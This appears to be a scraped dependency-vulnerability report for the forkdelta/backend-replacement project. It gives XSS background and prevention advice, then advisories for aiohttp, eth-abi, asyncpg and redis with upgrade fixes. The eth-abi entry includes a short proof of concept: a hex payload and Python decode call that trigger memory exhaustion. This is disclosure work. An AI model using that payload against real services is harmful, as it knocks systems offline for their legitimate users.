Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade aiohttp
to version 3.9.4 or higher.
References
medium severity
- Vulnerable module: eth-abi
- Introduced through: eth-abi@0.5.0 and web3@3.16.4
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › eth-abi@0.5.0Remediation: Upgrade to eth-abi@4.2.0.
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › web3@3.16.4 › eth-abi@0.5.0Remediation: Upgrade to web3@3.16.4.
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › web3@3.16.4 › eth-tester@0.1.0b39 › eth-abi@0.5.0
Overview
eth-abi is an eth_abi: Python utilities for working with Ethereum ABI definitions, especially encoding and decoding
Affected versions of this package are vulnerable to Denial of Service (DoS) when parsing zero-sized-types (ZST). Although allowed by the ABI specification, excessive memory can be allocated when processing malicious ZST tuples.
Workaround
This vulnerability can be mitigated by disallowing the parsing of ZST.
PoC
Define a payload of
0x0000000000000000000000000000000000000000000000000000000000000020 00000000000000000000000000000000000000000000000000000000FFFFFFFF
as either a()[]
or auint32[0][]
.Decode the payload using
decode()
, e.g.
from eth_abi import decode
data = bytearray.fromhex(payload)
decode(['()[]'], data)
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade eth-abi
to version 4.2.0 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7
Overview
Affected versions of this package are vulnerable to Open Redirect. Redirects are possible within the aiohttp.web.normalize_path_middleware
.
Remediation
Upgrade aiohttp
to version 3.7.4 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7
Overview
Affected versions of this package are vulnerable to Inconsistent Interpretation of HTTP Messages due to the inconsistent interpretation of Content-Length
vs. Transfer-Encoding
in both C and Python fallbacks. An attacker can bypass proxy rules and poison sockets to other users, potentially passing Authentication Headers.
Note:
This is only exploitable if a configuration with a reverse proxy that accepts both Content-Length
and Transfer-Encoding
headers and aiohttp as backend is present.
Additionally, if an Open Redirect is present, it can be combined to redirect random users to an attacker's website and log the request.
Remediation
Upgrade aiohttp
to version 3.8.0 or higher.
References
medium severity
- Module: certifi
- Introduced through: web3@3.16.4
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › web3@3.16.4 › requests@2.31.0 › certifi@2025.10.5
MPL-2.0 license
medium severity
- Module: chardet
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7 › chardet@5.2.0
LGPL-2.1 license
medium severity
- Module: psycopg2
- Introduced through: psycopg2@2.7.3.2
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › psycopg2@2.7.3.2
LGPL-3.0 license
low severity
- Vulnerable module: asyncpg
- Introduced through: asyncpg@0.18.2
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › asyncpg@0.18.2Remediation: Upgrade to asyncpg@0.21.0.
Overview
asyncpg is an An asyncio PostgreSQL driver
Affected versions of this package are vulnerable to Uninitialized Memory Exposure. When receiving multi-dimensional array data from the server, there was no dimensions validation.
Remediation
Upgrade asyncpg
to version 0.21.0 or higher.
References
low severity
- Vulnerable module: redis
- Introduced through: redis@2.10.6
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › redis@2.10.6Remediation: Upgrade to redis@4.3.6.
Overview
Affected versions of this package are vulnerable to Exposure of Data Element to Wrong Session due to a race condition when a queued connection is left open after canceling an async Redis command involving a pipelined operation at an inopportune time. The server can send response data to the client of an unrelated request in an off-by-one manner.
NOTE: The same vulnerability exists for non-pipelined operations, which was discovered after this one and is addressed by CVE-2023-28859.
Remediation
Upgrade redis
to version 4.3.6, 4.4.3, 4.5.3 or higher.